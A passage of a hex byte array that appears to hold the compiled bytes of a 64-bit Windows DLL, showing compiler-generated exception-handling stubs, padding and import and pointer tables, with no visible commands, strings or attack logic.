0x00, 0x00, 0xff, 0x25, 0xb2, 0x0c, 0x00, 0x00, 0xcc, 0xcc, - 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x40, 0x55, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xea, 0x8a, 0x4d, 0x40, 0x48, 0x83, 0xc4, 0x20, - 0x5d, 0xe9, 0xee, 0x0c, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, - 0x20, 0x48, 0x8b, 0xea, 0x8a, 0x4d, 0x20, 0xe8, 0xdc, 0x0c, 0xff, 0xff, - 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x3d, - 0x0b, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x30, 0x48, 0x8b, - 0xea, 0x48, 0x8b, 0x01, 0x8b, 0x10, 0x48, 0x89, 0x4c, 0x24, 0x28, 0x89, - 0x54, 0x24, 0x20, 0x4c, 0x8d, 0x0d, 0xde, 0x02, 0xff, 0xff, 0x4c, 0x8b, - 0x45, 0x70, 0x8b, 0x55, 0x68, 0x48, 0x8b, 0x4d, 0x60, 0xe8, 0x7e, 0x0a, - 0xff, 0xff, 0x90, 0x48, 0x83, 0xc4, 0x30, 0x5d, 0xc3, 0xcc, 0x40, 0x55, - 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x33, 0xc9, 0x81, 0x38, 0x05, 0x00, - 0x00, 0xc0, 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x5d, 0xc3, 0xcc, 0x40, 0x53, - 0x55, 0x48, 0x83, 0xec, 0x28, 0x48, 0x8b, 0xea, 0x48, 0x89, 0x4d, 0x38, - 0x48, 0x89, 0x4d, 0x30, 0x80, 0x7d, 0x58, 0x00, 0x74, 0x6c, 0x48, 0x8b, - 0x45, 0x30, 0x48, 0x8b, 0x08, 0x48, 0x89, 0x4d, 0x28, 0x48, 0x8b, 0x45, - 0x28, 0x81, 0x38, 0x63, 0x73, 0x6d, 0xe0, 0x75, 0x55, 0x48, 0x8b, 0x45, - 0x28, 0x83, 0x78, 0x18, 0x04, 0x75, 0x4b, 0x48, 0x8b, 0x45, 0x28, 0x81, - 0x78, 0x20, 0x20, 0x05, 0x93, 0x19, 0x74, 0x1a, 0x48, 0x8b, 0x45, 0x28, - 0x81, 0x78, 0x20, 0x21, 0x05, 0x93, 0x19, 0x74, 0x0d, 0x48, 0x8b, 0x45, - 0x28, 0x81, 0x78, 0x20, 0x22, 0x05, 0x93, 0x19, 0x75, 0x24, 0xe8, 0xd5, - 0x15, 0xff, 0xff, 0x48, 0x8b, 0x4d, 0x28, 0x48, 0x89, 0x48, 0x20, 0x48, - 0x8b, 0x45, 0x30, 0x48, 0x8b, 0x58, 0x08, 0xe8, 0xc0, 0x15, 0xff, 0xff, - 0x48, 0x89, 0x58, 0x28, 0xe8, 0xfb, 0x4a, 0xff, 0xff, 0x90, 0xc7, 0x45, - 0x20, 0x00, 0x00, 0x00, 0x00, 0x8b, 0x45, 0x20, 0x48, 0x83, 0xc4, 0x28, - 0x5d, 0x5b, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xea, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5d, - 0xe9, 0x53, 0x77, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, - 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x8b, 0x08, 0xe8, 0xdf, 0x3f, 0xff, - 0xff, 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, - 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x45, 0x58, 0x8b, 0x08, - 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x1e, 0x77, 0xff, 0xff, 0xcc, 0x40, - 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0xb9, 0x07, 0x00, 0x00, - 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x05, 0x77, 0xff, 0xff, 0xcc, - 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0xb9, 0x05, 0x00, - 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xec, 0x76, 0xff, 0xff, - 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x33, 0xc9, - 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xd6, 0x76, 0xff, 0xff, 0xcc, 0x40, - 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x80, 0x7d, 0x70, 0x00, - 0x74, 0x0b, 0xb9, 0x03, 0x00, 0x00, 0x00, 0xe8, 0xbc, 0x76, 0xff, 0xff, - 0x90, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, 0x40, 0x55, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x4d, 0x48, 0x48, 0x8b, 0x09, - 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0xe6, 0x6b, 0xff, 0xff, 0xcc, 0x40, - 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x85, 0x98, - 0x00, 0x00, 0x00, 0x8b, 0x08, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, 0x7d, - 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xea, 0xb9, 0x04, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xe9, - 0x64, 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, - 0x8b, 0xea, 0xb9, 0x08, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, 0x5d, - 0xe9, 0x4b, 0x76, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, - 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x45, 0x48, 0x8b, 0x08, 0x48, 0x83, 0xc4, - 0x20, 0x5d, 0xe9, 0xcd, 0xbe, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, - 0xec, 0x20, 0x48, 0x8b, 0xea, 0x8b, 0x4d, 0x50, 0x48, 0x83, 0xc4, 0x20, - 0x5d, 0xe9, 0xb6, 0xbe, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, - 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x4d, 0x30, 0x48, 0x83, 0xc4, 0x20, - 0x5d, 0xe9, 0x4e, 0x6b, 0xff, 0xff, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, - 0x20, 0x48, 0x8b, 0xea, 0x48, 0x8b, 0x01, 0x81, 0x38, 0x05, 0x00, 0x00, - 0xc0, 0x74, 0x0c, 0x81, 0x38, 0x1d, 0x00, 0x00, 0xc0, 0x74, 0x04, 0x33, - 0xc0, 0xeb, 0x05, 0xb8, 0x01, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc4, 0x20, - 0x5d, 0xc3, 0xcc, 0xcc, 0x40, 0x55, 0x48, 0x83, 0xec, 0x20, 0x48, 0x8b, - 0xea, 0x48, 0x8b, 0x01, 0x33, 0xc9, 0x81, 0x38, 0x05, 0x00, 0x00, 0xc0, - 0x0f, 0x94, 0xc1, 0x8b, 0xc1, 0x48, 0x83, 0xc4, 0x20, 0x5d, 0xc3, 0xcc, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x86, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0xbd, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9a, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfc, 0xbc, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0c, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x22, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0xbc, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xac, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x9e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe2, 0xbc, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbc, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x3c, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc0, 0xbc, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x90, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x7e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0xc2, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x5c, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x48, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc2, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x1e, 0xc2, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0c, 0xc2, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe6, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0xbd, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x26, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xbe, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x56, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x74, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xbe, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9c, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb8, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbe, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0xbe, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x02, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x18, 0xbf, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x2c, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x3e, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x52, 0xbf, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x78, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0xbf, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x98, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0xbf, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe0, 0xbf, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x14, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x22, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x30, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3a, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x5a, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x6c, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x7e, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x8c, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa2, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb8, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc4, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd0, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe0, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xee, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xfe, 0xc0, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0a, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x1e, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2e, 0xc1, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x40, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x4a, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x56, 0xc1, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x62, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x74, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x86, 0xc1, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x9c, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb2, 0xc1, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0xcc, 0xc1, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x5a, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd2, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x73, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x0b, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0x13, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, - 0x17, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0xe0, 0xbd, 0x01, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, - 0xc6, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0xb6, 0xbd, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x15, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x74, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x80, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, - 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x88, 0x25, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x88, 0x25, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x30, 0x16, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x50, 0x16, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x50, 0x16, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0x82, 0x00, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd4, 0xe6, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x70, 0x09, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe0, 0x84, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0xe0, 0x0c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xd8, 0x83, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0xdb, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0xe0, 0xdb, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xff, 0xff, 0xff, 0xff, - 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, - 0x04, 0x2a, 0x00, 0x80, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd0, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xe0, 0x2a, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe8, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf8, 0x2a, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x18, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x28, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0c, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x50, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x70, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x78, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x0a, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x88, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x0b, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x98, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x09, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xa2, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa4, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xb0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xb8, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbc, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xc0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xc4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc8, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xcc, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xd0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xd8, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xe4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xe8, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xec, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xf0, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0xf4, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xf8, 0x2b, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0xfc, 0x2b, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x08, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x0c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x14, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x18, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1c, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x20, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x24, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x2c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x30, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x34, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x38, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x3c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x44, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x48, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x4c, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x50, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x03, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x54, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, - 0x5c, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, - 0x00, 0x00, 0x00, 0x00, 0x60, 0x2c, 0x01, 0x80, 0x01, 0x00, 0x00, 0x00, - 0x09, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x2c, 0x01, 0x80, - 0x01, 0x00, 0x00, 